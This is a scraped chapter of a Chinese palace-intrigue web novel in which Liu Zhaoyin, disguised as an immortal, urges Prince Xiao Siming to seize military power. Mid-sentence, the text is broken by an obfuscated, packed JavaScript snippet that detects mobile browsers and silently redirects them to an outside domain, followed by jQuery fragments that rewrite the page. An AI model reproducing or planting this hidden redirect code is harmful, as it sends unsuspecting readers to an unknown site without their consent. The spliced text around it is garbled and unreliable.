122.122 柳昭隐鼓动萧司明
作品:《万人嫌的逆袭[系统]》 萧鹤川愧疚道:“昭隐,对不起。”
柳昭隐笑了笑,说:“是我自己不小心,还连累你去救我,你放心,那个,叫,广寒秋是吧?我有万能的解毒丹,毒已经解了,不信的话,下个月二十,你就等着看吧。”
萧鹤川:“我早该叫你离开的。”
柳昭隐:……
心思又重了不是?
柳昭隐:“可是我生性张扬,既做不了行香子,也做不了明紫薇,我很庆幸,遇见的第一人是你。”
萧鹤川心中悸动,但他不知道该说些什么,手掌都攥出了指甲印。
喧闹的虫鸣预示着今夜的平安,晚风带着不知名的花香,冲散了汤药的苦涩,柳昭隐凑近萧鹤川,戏谑地说:“眼睛这么红,又哭了?”
萧鹤川皱着眉头:“你怎么还是嬉皮笑脸的?你到底知不知害怕?”
柳昭隐:“那咱们两个总不能抱头痛哭吧?咱们不是都没事吗?”
萧鹤川无奈道:“你……”
“好啦,我多买了一颗万能解毒丹,你拿着,以防万一,”柳昭隐递给萧鹤川一颗药丸,说:“你从陛下那里,探听到漠北的消息了吗?”
萧鹤川:……
萧鹤川:“禹州过后,再没有发生过集体失踪案,但是父皇一直在查先前的案子,潮州失踪的渔船,打捞出两艘,但是还没有发现有效的线索。”
柳昭隐:“哦。”
萧鹤川:“你先好好休息,我去试探一下父皇的态度,看他到底要不要动戚容,倘若父皇仍有顾虑,那我们就一起去漠北,自己查。”
柳昭隐:“好。”
*
楚王府大换血,萧鸿意的人又被处理了七七八八,剩下几个没被揪出来的,大气都不敢出,更别说对同伙的遭遇追根究底了,所以还没有任何人知道萧鸿意真实的处境。
萧鸿意不吃不喝,他要见康庆帝,康庆帝便大发慈悲地见了他。
萧鸿意质问道:“就因为瑞王夸赞过我,你就恨到要把我赶尽杀绝吗?可是那个时候我只有十岁!瑞王造反跟我一点关系都没有!”
康庆帝叹了口气。
康庆帝:“不知道你还记不记得,你开蒙得晚,直到六岁才学会说话,可是瑞王却一直说你聪慧,说你大智,他说的次数多了,朕就有点信了,朕一直在期待你长大。”
“直到你十岁那年,你的进步突飞猛进,朕非常开心地跟瑞王说,意儿果然如他所说,聪慧过人,才思敏捷,他真的只是开蒙得晚而已,可是瑞王,却不像朕这般开心。”
“那以后没过多久,他就起兵造反了,临死之前,他告诉朕,他压根没觉得你聪慧,反而觉得你心智不开,一旦我透露出想把皇位传给你的消息,他就立刻刺杀我,扶你上位,然后掌控你,掌控朝堂。”
萧鸿意皱着眉头,一时难以接受。
康庆帝:“你对于瑞王,就好比太子对于魏妃,他没想到你会变聪明。但是当他知道他掌控不了你的时候,他立刻选择了造反,他想要的是权力,而不是真心的扶持你。”
萧鸿意苦笑了一声,说:“你既然知道瑞王不是真心扶持我,又为何对我生出这么大的偏见?!”
康庆帝委屈道:“一直放不下瑞王的人是你,不是朕!不管你是想算计颖妃,还是想算计川儿,方法多的是,你却偏偏选了芙蓉图,你想在江柏麟身上出气,方法也多的是,你却还是选择利用芙蓉花!”
“瑞王是朕心头的伤疤,不假,但是你预设了朕会因为瑞王而迁怒于你,是你预设了朕会因此对你产生偏见,但凡有点芙蓉花的事,大臣们第一个想到的人就是你。”
“太明显太直接了,反而像是有人在陷害你,朕如果揪着不放,那就是因为十年前的旧怨,而记恨你至今!大臣们就是对朕不满,就会为你喊冤,你是不是这样想的?”
萧鸿意:……
他就是这样想的。
康庆帝:“所以你一次又一次大胆地利用芙蓉花,不仅是在算计别人,还是在刺激朕,在恶心朕!”
萧鸿意跌坐在地上,有些无力。
康庆帝:“自从瑞王出事,你就把所有的精力都用在了跟朕闹别扭上,你一边觉得委屈,一边三天两头地刺激朕。”
“你明知道朕不会因此而责罚你,却又十分期待,朕能因此而责罚你,这样就等于朕承认了,你是被瑞王牵连的。”
“你何苦呢?你好好地想想,这些年你可曾认真办差,可曾提出过任何有用的政见?”
萧鸿意没好气道:“我提了你也不会听,因为你只会听从魏家!”
康庆帝气道:“你!”
从来没有人敢这样跟康庆帝说话,他觉得他真是太惯着萧鸿意了。
当初在礼部任职,是萧鸿意自己提出来的,康庆帝准了,他却不乐意了,觉得康庆帝不给他实权。
后来被颖妃算计,让他去皇陵画壁画,萧鸿意仍然愿意去,但是康庆帝怕真让他去了,他又不乐意了,所以没准。
没想到萧鸿意还是不乐意,他觉得康庆帝不是舍不得他,而是顾忌着名声,才不让他去。
康庆帝越说越生气,越说越委屈,他缓了缓,说:“你在意的点,无非是觉得朕不念父子之情,只顾君臣之义,可是你想要的,从来都不是父子亲情。”
“不论是吃的穿的还是用的,朕给了靖安,靖安会十分开心地感激朕,朕给了你,你就生朕的气,说朕用哄小孩的东西打发你。”
萧鸿意红着眼睛:“难道不是吗?”
康庆帝:……
萧鸿意太倔强了。
康庆帝:“你不能一边心安理得地,享受着瑞王带给你的好处,却在他给你带来坏处的时候,妄想着能撇清和他的关系,直到现在,你还在用瑞王的旧部,好自为之吧。”
计满,知戒,奈何慧根蒙尘,灵府狭隘致使心魔丛生,真当了皇帝,也平衡不好和朝臣们的关系。
这或许是他们最后一次见面了,所以不管萧鸿意能不能想通,康庆帝都想把所有的话,全都说清楚。
康庆帝离开了,楚王府的大门永远地关上了,他们父子,再也没有和解的可能,七月份的阳光炙热而浓烈,拴着萧鸿意的铁链冷冰冰。
*
萧鸿意确实有后招,他给属下交代了,若他出事,就把柳昭隐是妖,萧鹤川与妖同谋的事情传出去,就算他翻不了身,也要重创康庆帝。
虽然康庆帝的速度已经够快了,但是萧鸿意的护卫在宫中被杀,萧鸿意被扭送回府,还是被他安排的小太监看到了。
小太监在被处决之前,把萧鸿意的吩咐传了出去。
传播流言,不需要都是自己人,只要有这个说法,很快便会闹得人尽皆知。
隐约感觉到一点风向的大臣们噤若寒蝉,但是百姓们都在谈论这件事,连同萧鹤川也被诟病。
康庆帝本就不想把妖物祸国的寓言传出去,现在好了,柳昭隐是妖的消息人尽皆知,萧鸿意明知道他的意图,却偏要跟他对抗到底。
康庆帝心情不好,萧鹤川却不敢松懈片刻。
柳昭隐还在养身体,他不想让柳昭隐烦恼,连夜写了制霜小天才柳照照坎坷成长,一路过关斩将,最后斩杀猫妖,解救一方百姓的故事。
虽然没有指名道姓,但是谁都能看出来写得是“江昭隐”。
第二天一大早,萧鹤川就把这个故事,送到了各个茶馆,借说书匠的口,让不利的流言偃旗息鼓。
萧鹤川在忙着写话本,挽救他们的名誉,暂时没有精力试探康庆帝对戚容的态度,好在柳昭隐从一开始,就没想着等萧鹤川的情报。
杜鹃很危险,他不想让萧鹤川在他面前再死一次,他要自己去。
去漠北之前,他还有一件事情要做。
柳昭隐不仅买了解毒丹,还买了生血丹,当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003170|167345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天晚上,他的身体就复原了。
他换上白鹤仙长的装扮,找到萧司明,说他是康庆帝的人,所以各位皇子怎么查,都查不到他。
还说扬州的洪水是他退去的,只有萧司明愿意为了百姓,在康庆帝盛怒之下联络他,他觉得萧司明有计谋,有善心,所以看重萧司明。
柳昭隐:“贤王或许还不知道吧,江昭隐也是陛下的人,陛下虽然下了圣旨,叫他给襄王治脸,但那只是陛下被太子气到,冲动之下做的决定。”
“实际上,陛下根本没想着让襄王的脸被治好,否则,以江昭隐的本事,他的脸早该复原了。”
萧司明:“你是说,是父皇授意江昭隐,让他拖着,慢点治?”
如果真是这样的话,那就说明父皇从未想过把皇位传给萧鹤川。
柳昭隐:“那是自然,我和江昭隐,都是陛下留给皇位继承人的底牌,楚王不知情,还企图算计江昭隐,如今,被陛下软禁在府中了。”
萧司明的心咚咚咚地跳着,嘴上却试探道:“楚王算计江昭隐?”
柳昭隐:“楚王利用蔡知彰,把江昭隐扔河里了,事后,还一把火烧了蔡家灭口,陛下已经找到了切实的证据,所以才将楚王软禁,还好贤王您,没有提拔过蔡知彰,不然这件事,搞不好要牵连贤王的。”
萧司明勾了勾唇角,尽量让自己保持镇定:“您今日来,是为了?”
柳昭隐:“陛下最看重的皇子就是您,只有您,最懂陛下的心。”
萧司明:……
这话,父皇对他说过。
柳昭隐:“但是陛下觉得,您的胆识略微不足,所以让我来给您一些提示,妖物之言,虚无缥缈,兵权,才是稳固江山的重中之重,但是陛下还有一半兵权没有收回,倘若您能将兵权收回,皇位就是您的。”
萧司明:“父皇真是这么想的?”
柳昭隐:“胆识也是陛下着重考察的能力之一,我只负责提示,贤王不信就算了,但陛下急着收回兵权,不会给您太多时间,倘若叫其他皇子立了功,您就没机会了。”
萧司明试探道:“既然父皇有意与我,那,仙长何不露出真容?”
柳昭隐没有嘲讽,他平静道:“贤王太心急了吧,只有稳坐皇位的那位皇子,才能看到我的真容,现在的您,只是可能性较大而已。”
萧司明连忙陪着笑,恭敬道:“是本王冒犯了,请仙长恕罪,只是,收回兵权一事,仙长可否赐教?”
柳昭隐:“不是有过成功的案例吗?想收回兵权,必须采取强势的手段,但陛下又不想被人诟病,所以让戚容造反,是最合适的理由。”
“倘若戚容的长房长孙遭遇不测,陛下又找不出凶手,那么戚容就一定会发兵京城,因为戚坤,本就是戚容留给陛下的人质。”
“人质一死,就代表着战争的开始,贤王只需要踏出最关键的一步,到时候,自然有您将来的佐政之臣,替您上战场。”
萧司明:……
佐政之臣?是说萧鹤川吗?一想到萧鹤川对他称臣的场景,萧司明心中就有一种难以言表的爽感。
柳昭隐的话,让萧司明有些激动,又有些害怕,但他还是信了。
白鹤仙长的真实身份,诸位皇子全都没有查到,父皇还严厉地训斥了他们,不许他们继续调查,如果他是父皇的人,那就合情合理了。
江昭隐去疤的手艺,萧司明是知道的,他一直以为江昭隐是想找个靠山,所以才治得这么慢,但如果是父皇的授意,那就说得通了。
除了白鹤仙长和江昭隐,最重要的是,康庆帝给过萧司明虚假的希望。
他说为君者,善于用人才是最要紧的,连他陷害萧鹤川的性命,父皇都能原谅,看来在父皇的心中,萧鹤川的分量远远不如他。
原来父皇早就暗示过了,萧司明心想,原来萧鹤川是为了辅佐他而被培养的,真是白白忧心了这么久。